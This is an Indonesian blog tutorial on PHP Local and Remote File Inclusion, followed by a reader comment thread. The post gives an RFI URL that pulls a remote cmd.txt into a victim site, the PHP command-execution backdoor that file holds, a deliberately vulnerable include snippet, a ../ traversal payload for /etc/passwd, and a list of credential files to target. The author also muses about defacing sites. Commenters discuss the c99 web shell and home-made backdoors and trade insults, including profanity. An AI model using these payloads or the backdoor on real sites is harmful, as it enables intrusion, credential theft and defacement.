Local File Inclusion Vulnerability adalah sebuah kelemahan aplikasi web yang menyebabkan seorang Attacker mdapat mengeksploitasi engine yang digunakan atau Web Server dengan mengakses direktori dan mengeksekusi command di luar root web server. Local File Inclusion Vulnerability erat kaitannya dengan Directory Traversal. Local File Inclusion Vulnerability dilakukan secara lokal dari web server tersebut, sedangkan Remote File Inclusion Vulnerability dilakukan secara remote dengan melakukan menyisipkan script php dari luar kedalam situs atau aplikasi web.
Contoh Remote File Inclusion :
http://www.victim.com/index.php?page=http://www.situsgw.com/cmd.txt&?cmd=ls -al
Injeksi seperti di atas akan memunculkan daftar direktori webserver seperti perintah ls -al di shell linux. Dimana isi file cmd.txt adalah :
<?
passthru($_GET[cmd]);
?>
Dibawah ini contoh skrip php yang vulnerable terhadap LFI (Local File Inclusion):
<?php
$page = $_GET[page];
include($page);
?>
jika script php diakses dengan metode LFI seperti ini
victim.com/index.php?page=../../../../../../../etc/passwd
akan muncul isi dari /etc/passwd
Contoh potongan kode diatas jangan sekali-kali anda gunakan, karena variabel $page tidak ter-sanitasi dengan baik dan memperbolehkan attacker untuk mengakses sebuah halaman web secara langsung. Tapi sialnya contoh script diatas sudah sangat jarang ada di internet sekarang, mungkin para pembuat web mulai pintar
jadi anda harus bekerja keras untuk menemukan bugs ini di Internet.
Sekarang bagaimana cara eksploitasi dari bugs tersebut. Dalam sebuah web server kita tahu ada sebuah script yang vulnerable berada di http://victim.org/data/page.php lalu kita akses script tersebut maka script tersebut berjalan dengan semestinya, sekarang kita akses file sitemap.xml yang berada di root direktori seperti ini http://victim.org/data/page.php?page=sitemap.xml maka akan muncul isi dari file sitemap.xml.
Lalu bagaimana kalau kita akses sitemap.xml seperti ini http://victim.org/data/page.php?page=../sitemap.xml maka muncul isi dari file sitemap.xml sama seperti sebelumnya. penggunaan “../” disebut dengan Directory Transversal. Directory Transversal membuat kita meloncat satu direktori ke atas. Jika tempat hosting web aplikasi tersebut di webserver yang berbasis Unix atau Linux memungkin kita untuk mengintip file-file yang menarik seperti melihat file passwd seperti gambar screenshoot di sebuah webserver di internet dibawah ini ;
dan beberapa file yang menarik untuk proses penetration testing :
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
sebenarnya bugs ini bisa kita kembangkan untuk aksi yang lebih iseng lagi
yaitu deface, dimana mengganti halaman web seseorang. cuma gak sempet nyari target yang vulnerable,, tugas kuliah gak selese-selese,,mungkin lain,,hahahaa






















gaya Lw.. ngerusak bahasa Indonesia aja Lw, campur2 bhs Indonesia dgn bhs Inggris..
iyaah,,bkannya begitu bro,,klo diterjemahkan bahasa indonesia gak nyambung, dan gak mungkin dicarikan bahasa serapannya,,
emang lo ngerusak bahasa indonesia ajah lo…!
mending g usah ngeblog klo cmn bisa ngehancur…!!
FUCK YOU!!!
kaya Cinta Laura aja Lw..
oh itu mantan pacar gue,,jadi ketularan gue,,,
tanya dong mas, taunya kita nama variabelnya page dari mana mas? makasih, massf masih awam….
untuk memahami bugs file inclusion kita juga haru memahami sedikit aja tentang bhsa pemrograman php atau bahasa lainnya.. kalo contoh diatas variabel untuk menangkap request GET itu page..
kalo http://w2.hidemyass.com/index.php?q=
variabelnya q..
begitu kira-kira..
ralat: maaf masih awam…thx
Cara taunya kl ada variabel bernama q di dlm file index.php itu gmn sih mas? setelah tau br kita bs nulis urlnya kn?bukannya isi lengkap index.php itu yg tau cm pemilik situsnya ya mas?…makasih… mohon pencerahannya…
saya kasih contoh url berikut
http://contoh.com/index.php?page=login
ketika url diatas diakses, akan membuka halaman login,, itu namanya file inclusion..
page adalah variabel.. variabel page terisi nilai login dengan metode GET.. lebih lengkap tentang dengan menangkap variabel dari GET di php bisa di cari di google kok,,
contoh isi kode programmnya seprti ini.
nah diatas adalah local file inclusion.. karena memanggil file local dalam server..
kalo remote file inclusion.. menggunakan protokol http://..
semua tergantung setting di php.ini.. di server..
gimana maas ?..
oo gt ya mas…
kita bs tau nama variabel nya page dari link ke halaman login gt ya misalnya…
kl taunya metode yang dipakai adalah GET pada variabel login itu bs tau langsung atau coba2 mas?
oya mas.. menginclude itu berarti membuka isi suatu file aja ya mas?
makasih atas pencerahannnya…
itukan contohnya, tapi belum tentu variabel yang diisi belum tentu sama dengan file yang di panggil…
jika settingan php.ini di web server allow_url_include berada dalam kondisi “Off”
kita tidak bisa memanggil file di server lain kaya http://logsmylife.wordpress.com/2009/09/22/remote-dan-local-file-inclusion-vulnerability/
iya , kl settingan di php.ini ttg allow_url_include= off atw on udah pernah baca sih mas..
Tp masih blm ngerti gmn taunya suatu situs bisa kita serang dg LFI atau RFI? itu bs diketahui dg suatu cara atau coba2 mas?
Oya jika suatu situs bisa diserang dg lfi, itu pasti bs jg diserang dg rfi jg? dan sebaliknya jg gk mas?
Terus tulisan mas ttg rfi yang=
http://www.victim.com/index.php?page=http://www.situsgw.com/cmd.txt&?cmd=ls -al
itu hasilnya akan menampilkan daftar direktori webservernya si korban atau yang di situsgw.com?
maaf mas, awak emang masih cupu….thx…
iya dicoba-coba.. web yang bisa diserang dengan lfi belum tentu bisa rfi..
iya benar.. akan menghasilkan daftar file,, file cmd.txt itu backdoor php sederhana, ada lagi yang komplit kaya c99.php…
gpapa saya juga cupu.. trims uda berkunjung…
yg ditampilin itu daftar filenya si korban atau yg di situsgw.com mas? yg di si korban kn?
waduh kl dg cara coba2 susah jg ya?
kl pengin tau nama variabelnya enggak coba2 kn mas?misalnya dr form login.tp kl pengin tw metode penangkap variabelny (misal GET) emang harus coba y mas?
jd kyk c99.txt itu emang file sakti ya mas…:D
yap daftar file di server korban tampil semua…
kalo metode get dilihat dari url juga bisa tau mas,,,tentang post dan get bisa dibaca disini http://www.ilmuwebsite.com/belajar-php/penggunaan-post-dan-get
file c99.php gak sakti-sakti amat kok,, udah jadul juga ntutu..
ah…
sok ajah lo ngomongin klo c99.php dah jadul..
baru bisa maenin c99 di bilang dah jadul loh..!!!
weeitss,, gue sih kaga maen c99 coy.. ngapain pake punya orang laen,,, mendingan backdoor bikinan gue ndiri sesuai kebutuhan,,, gak kaya eluw,, weee…